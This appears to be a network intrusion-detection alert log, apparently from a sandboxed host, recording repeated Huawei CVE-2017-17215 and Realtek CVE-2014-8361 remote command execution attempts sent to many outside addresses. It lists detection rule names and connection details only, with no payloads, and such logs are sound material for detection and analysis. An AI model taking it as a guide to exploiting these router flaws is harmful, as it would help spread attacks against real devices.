07/20/24-23:01:32.202245	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53506	37215	192.168.2.13	41.237.245.241
07/20/24-23:01:12.485458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39238	37215	192.168.2.13	189.76.224.116
07/20/24-23:00:59.021321	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33654	37215	192.168.2.13	110.202.3.118
07/20/24-23:01:32.260443	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51850	37215	192.168.2.13	45.56.154.125
07/20/24-23:00:59.021510	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41822	37215	192.168.2.13	157.181.146.64
07/20/24-23:01:12.492810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39726	37215	192.168.2.13	157.173.117.30
07/20/24-23:01:06.801053	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34770	37215	192.168.2.13	126.247.30.6
07/20/24-23:01:22.797406	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51992	37215	192.168.2.13	197.133.222.199
07/20/24-23:01:25.390310	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48260	37215	192.168.2.13	41.133.113.49
07/20/24-23:01:27.269293	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57262	37215	192.168.2.13	75.29.136.52
07/20/24-23:01:04.794679	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50598	52869	192.168.2.13	150.134.45.104
07/20/24-23:01:19.334468	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34982	52869	192.168.2.13	60.215.234.238
07/20/24-23:01:06.628186	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42390	52869	192.168.2.13	115.130.21.220
07/20/24-23:01:04.874130	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38876	37215	192.168.2.13	197.227.153.203
07/20/24-23:01:14.574230	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55278	52869	192.168.2.13	107.240.237.92
07/20/24-23:01:05.542461	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35418	52869	192.168.2.13	188.53.105.187
07/20/24-23:01:27.352669	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51442	52869	192.168.2.13	212.178.98.236
07/20/24-23:01:17.773605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58908	37215	192.168.2.13	157.99.139.53
07/20/24-23:01:08.418538	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54122	37215	192.168.2.13	138.119.175.2
07/20/24-23:01:22.737281	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47548	37215	192.168.2.13	157.118.0.63
07/20/24-23:01:24.625525	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50534	37215	192.168.2.13	41.110.61.47
07/20/24-23:01:06.806392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47198	37215	192.168.2.13	41.70.51.151
07/20/24-23:01:02.678688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37170	37215	192.168.2.13	197.94.251.61
07/20/24-23:01:27.232388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49092	37215	192.168.2.13	197.90.204.179
07/20/24-23:01:14.998674	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55292	37215	192.168.2.13	197.251.250.240
07/20/24-23:01:36.808711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47686	37215	192.168.2.13	131.78.91.211
07/20/24-23:01:12.356929	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44614	37215	192.168.2.13	41.183.116.207
07/20/24-23:01:22.815176	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47104	37215	192.168.2.13	88.255.138.29
07/20/24-23:01:04.157917	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42138	52869	192.168.2.13	39.238.204.107
07/20/24-23:01:04.748993	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51914	52869	192.168.2.13	118.95.117.249
07/20/24-23:01:14.998077	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44014	37215	192.168.2.13	197.44.172.216
07/20/24-23:01:27.289200	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57840	37215	192.168.2.13	74.193.187.37
07/20/24-23:01:07.567973	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50716	52869	192.168.2.13	47.206.114.161
07/20/24-23:01:02.620832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46610	37215	192.168.2.13	221.202.160.22
07/20/24-23:01:20.312979	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60968	52869	192.168.2.13	171.206.136.183
07/20/24-23:01:27.263646	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54494	37215	192.168.2.13	41.115.122.156
07/20/24-23:01:22.819749	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45862	37215	192.168.2.13	203.43.242.224
07/20/24-23:01:27.232388	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50782	37215	192.168.2.13	157.24.246.27
07/20/24-23:01:32.199687	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51558	37215	192.168.2.13	104.66.3.1
07/20/24-23:01:04.630544	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33970	52869	192.168.2.13	138.25.247.16
07/20/24-23:01:04.846946	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42160	37215	192.168.2.13	41.252.153.174
07/20/24-23:01:25.390310	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35648	37215	192.168.2.13	197.66.136.120
07/20/24-23:01:07.225933	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41222	52869	192.168.2.13	216.44.193.248
07/20/24-23:01:27.360753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53088	52869	192.168.2.13	182.69.101.91
07/20/24-23:01:02.628234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51216	37215	192.168.2.13	80.166.177.56
07/20/24-23:01:02.612616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34798	37215	192.168.2.13	197.156.183.155
07/20/24-23:01:27.276711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60528	37215	192.168.2.13	109.45.117.18
07/20/24-23:01:14.536691	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44536	52869	192.168.2.13	8.85.166.254
07/20/24-23:01:22.739710	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43124	37215	192.168.2.13	197.95.202.195
07/20/24-23:01:05.847071	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55650	52869	192.168.2.13	75.16.206.108
07/20/24-23:01:15.000440	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52080	37215	192.168.2.13	41.234.70.164
07/20/24-23:01:06.798722	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47320	37215	192.168.2.13	41.145.162.190
07/20/24-23:01:12.487419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45932	37215	192.168.2.13	197.93.78.184
07/20/24-23:01:02.661070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40374	37215	192.168.2.13	197.186.137.146
07/20/24-23:01:22.746773	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33538	37215	192.168.2.13	218.2.110.185
07/20/24-23:01:27.222234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42600	37215	192.168.2.13	193.141.44.151
07/20/24-23:01:06.884008	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42042	52869	192.168.2.13	160.161.205.189
07/20/24-23:01:36.862442	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58130	37215	192.168.2.13	41.75.65.56
07/20/24-23:00:59.021792	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39112	37215	192.168.2.13	145.185.248.183
07/20/24-23:01:04.848636	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40130	37215	192.168.2.13	41.37.206.254
07/20/24-23:00:59.019633	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44802	37215	192.168.2.13	194.65.196.65
07/20/24-23:01:25.414531	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41262	37215	192.168.2.13	41.251.254.230
07/20/24-23:01:36.799485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38828	37215	192.168.2.13	157.214.82.82
07/20/24-23:01:25.391568	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49026	37215	192.168.2.13	41.57.88.96
07/20/24-23:01:25.389455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44348	37215	192.168.2.13	223.72.56.49
07/20/24-23:01:14.570907	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60452	52869	192.168.2.13	50.236.24.191
07/20/24-23:01:05.475384	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45582	52869	192.168.2.13	158.124.195.199
07/20/24-23:01:36.850220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38896	37215	192.168.2.13	186.48.96.212
07/20/24-23:01:14.506916	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40280	52869	192.168.2.13	154.157.246.72
07/20/24-23:01:14.542240	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35380	52869	192.168.2.13	71.95.23.241
07/20/24-23:01:02.607576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55314	37215	192.168.2.13	197.75.142.184
07/20/24-23:01:04.848080	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59860	37215	192.168.2.13	197.118.70.108
07/20/24-23:01:04.874130	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46262	37215	192.168.2.13	157.162.35.169
07/20/24-23:01:36.792737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52886	37215	192.168.2.13	157.180.90.110
07/20/24-23:01:25.389741	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58482	37215	192.168.2.13	157.246.70.194
07/20/24-23:01:27.357903	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56302	52869	192.168.2.13	1.125.24.131
07/20/24-23:01:06.799605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34454	37215	192.168.2.13	120.164.160.29
07/20/24-23:01:14.513053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46268	52869	192.168.2.13	38.49.123.120
07/20/24-23:01:04.907418	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48638	37215	192.168.2.13	218.119.176.170
07/20/24-23:01:14.542853	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51494	52869	192.168.2.13	53.36.224.51
07/20/24-23:01:06.800702	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50878	37215	192.168.2.13	157.120.41.0
07/20/24-23:01:14.502469	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39490	52869	192.168.2.13	119.44.232.241
07/20/24-23:01:04.879348	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40814	37215	192.168.2.13	197.12.169.82
07/20/24-23:01:12.487419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51510	37215	192.168.2.13	41.98.177.78
07/20/24-23:01:14.516654	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37576	52869	192.168.2.13	188.53.105.187
07/20/24-23:01:14.530140	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51548	52869	192.168.2.13	4.4.167.103
07/20/24-23:01:12.485458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58732	37215	192.168.2.13	157.20.89.100
07/20/24-23:01:06.808312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59460	37215	192.168.2.13	157.128.63.211
07/20/24-23:01:14.522190	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53674	52869	192.168.2.13	9.155.213.68
07/20/24-23:01:25.390311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57958	37215	192.168.2.13	41.196.243.220
07/20/24-23:00:59.020228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44962	37215	192.168.2.13	197.6.247.149
07/20/24-23:01:04.853128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38688	37215	192.168.2.13	41.174.97.64
07/20/24-23:01:04.180737	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40044	52869	192.168.2.13	219.121.3.137
07/20/24-23:01:02.685657	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52828	37215	192.168.2.13	197.245.177.60
07/20/24-23:01:06.812906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38580	37215	192.168.2.13	157.194.220.93
07/20/24-23:01:06.820921	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55636	37215	192.168.2.13	49.127.162.145
07/20/24-23:00:59.019559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38980	37215	192.168.2.13	197.214.55.135
07/20/24-23:01:14.513053	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40922	52869	192.168.2.13	130.206.211.129
07/20/24-23:01:27.354180	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55814	52869	192.168.2.13	105.237.48.102
07/20/24-23:01:20.470124	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53844	52869	192.168.2.13	64.157.100.230
07/20/24-23:01:12.485458	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34512	37215	192.168.2.13	197.188.72.175
07/20/24-23:01:12.502954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32958	37215	192.168.2.13	158.248.123.112
07/20/24-23:01:14.550730	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54272	52869	192.168.2.13	84.50.117.185
07/20/24-23:01:04.879348	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55374	37215	192.168.2.13	157.242.34.8
07/20/24-23:01:14.520422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53862	52869	192.168.2.13	84.26.238.160
07/20/24-23:01:12.543114	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52066	37215	192.168.2.13	52.240.106.131
07/20/24-23:01:32.199687	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40884	37215	192.168.2.13	25.126.196.156
07/20/24-23:01:25.391285	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36728	37215	192.168.2.13	157.240.43.254
07/20/24-23:01:04.853128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41746	37215	192.168.2.13	62.21.175.88
07/20/24-23:01:14.550185	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60390	52869	192.168.2.13	39.240.110.128
07/20/24-23:01:20.486898	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39792	52869	192.168.2.13	13.21.70.134
07/20/24-23:01:22.791883	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54546	37215	192.168.2.13	197.1.219.57
07/20/24-23:01:27.306441	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59528	37215	192.168.2.13	157.62.121.121
07/20/24-23:01:14.517363	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33270	52869	192.168.2.13	53.242.30.163
07/20/24-23:01:36.855169	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51688	37215	192.168.2.13	157.53.40.125
07/20/24-23:01:22.738019	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44800	37215	192.168.2.13	197.205.59.72
07/20/24-23:00:59.021587	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58158	37215	192.168.2.13	157.138.203.32
07/20/24-23:01:04.558305	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40426	52869	192.168.2.13	207.32.229.66
07/20/24-23:01:02.607576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34900	37215	192.168.2.13	147.21.178.207
07/20/24-23:01:32.271087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57672	37215	192.168.2.13	41.73.230.152
07/20/24-23:01:04.172196	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45114	52869	192.168.2.13	40.11.215.79
07/20/24-23:01:06.801053	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33110	37215	192.168.2.13	54.44.221.107
07/20/24-23:01:04.186436	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47972	52869	192.168.2.13	64.111.121.228
07/20/24-23:01:06.809008	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39856	37215	192.168.2.13	197.91.71.217
07/20/24-23:01:12.360353	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42732	37215	192.168.2.13	157.228.104.183
07/20/24-23:01:27.222234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33312	37215	192.168.2.13	41.163.77.32
07/20/24-23:01:04.997254	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44724	52869	192.168.2.13	57.86.64.87
07/20/24-23:01:06.437475	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33516	52869	192.168.2.13	117.76.117.93
07/20/24-23:01:20.481325	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33094	52869	192.168.2.13	104.175.135.141
07/20/24-23:01:22.739029	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60976	37215	192.168.2.13	197.231.142.145
07/20/24-23:01:07.290737	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55208	52869	192.168.2.13	58.234.199.253
07/20/24-23:00:59.020932	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40354	37215	192.168.2.13	157.1.12.172
07/20/24-23:01:22.739607	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57346	37215	192.168.2.13	157.206.169.214
07/20/24-23:01:32.199687	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52372	37215	192.168.2.13	197.240.222.9
07/20/24-23:01:32.257456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52436	37215	192.168.2.13	157.117.196.250
07/20/24-23:01:12.485954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44408	37215	192.168.2.13	197.212.40.166
07/20/24-23:01:25.389455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34806	37215	192.168.2.13	120.12.100.82
07/20/24-23:01:32.276800	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59244	37215	192.168.2.13	157.5.144.24
07/20/24-23:01:04.861979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35668	37215	192.168.2.13	197.66.47.215
07/20/24-23:01:22.780464	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59960	37215	192.168.2.13	2.214.49.67
07/20/24-23:01:25.389085	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39650	37215	192.168.2.13	41.101.180.110
07/20/24-23:00:59.020403	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41716	37215	192.168.2.13	197.168.76.154
07/20/24-23:01:25.456960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52026	37215	192.168.2.13	197.172.239.148
07/20/24-23:00:59.019716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39322	37215	192.168.2.13	197.234.38.242
07/20/24-23:01:27.354991	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38378	52869	192.168.2.13	23.221.87.235
07/20/24-23:01:06.805919	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40230	37215	192.168.2.13	41.197.209.75
07/20/24-23:01:08.392180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46750	37215	192.168.2.13	68.226.28.124
07/20/24-23:01:25.390486	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34132	37215	192.168.2.13	41.67.200.226
07/20/24-23:01:22.736716	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35174	37215	192.168.2.13	197.7.185.174
07/20/24-23:01:22.746527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44684	37215	192.168.2.13	41.14.156.68
07/20/24-23:01:07.264780	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53544	52869	192.168.2.13	184.235.53.151
07/20/24-23:01:04.867862	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43796	37215	192.168.2.13	197.16.60.88
07/20/24-23:01:25.404749	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46290	37215	192.168.2.13	161.219.99.46
07/20/24-23:01:20.503048	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51074	52869	192.168.2.13	46.222.69.48
07/20/24-23:01:08.392180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41662	37215	192.168.2.13	41.80.65.90
07/20/24-23:01:03.955764	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37530	52869	192.168.2.13	122.167.75.170
07/20/24-23:01:06.243271	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52718	52869	192.168.2.13	99.172.148.31
07/20/24-23:01:32.267589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45658	37215	192.168.2.13	41.61.8.53
07/20/24-23:01:17.793503	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38248	37215	192.168.2.13	161.170.71.80
07/20/24-23:01:32.201728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56544	37215	192.168.2.13	189.187.15.229
07/20/24-23:01:36.781870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45298	37215	192.168.2.13	197.174.174.141
07/20/24-23:01:05.950140	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47008	52869	192.168.2.13	166.150.19.163
07/20/24-23:01:12.504870	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52142	37215	192.168.2.13	194.79.75.113
07/20/24-23:01:02.678688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52990	37215	192.168.2.13	157.200.28.48
07/20/24-23:01:06.802009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41530	37215	192.168.2.13	157.237.159.15
07/20/24-23:01:14.550185	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41260	52869	192.168.2.13	173.204.137.85
07/20/24-23:01:14.525496	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48664	52869	192.168.2.13	212.236.125.79
07/20/24-23:01:06.571856	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48708	52869	192.168.2.13	49.146.39.71
07/20/24-23:01:27.354179	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47792	52869	192.168.2.13	197.5.41.2
07/20/24-23:01:12.533731	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59350	37215	192.168.2.13	141.214.124.131
07/20/24-23:01:17.775601	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60282	37215	192.168.2.13	112.182.139.168
07/20/24-23:01:22.747861	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57288	37215	192.168.2.13	197.243.161.212
07/20/24-23:01:25.413015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55630	37215	192.168.2.13	157.198.224.198
07/20/24-23:01:36.799485	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57202	37215	192.168.2.13	197.156.204.22
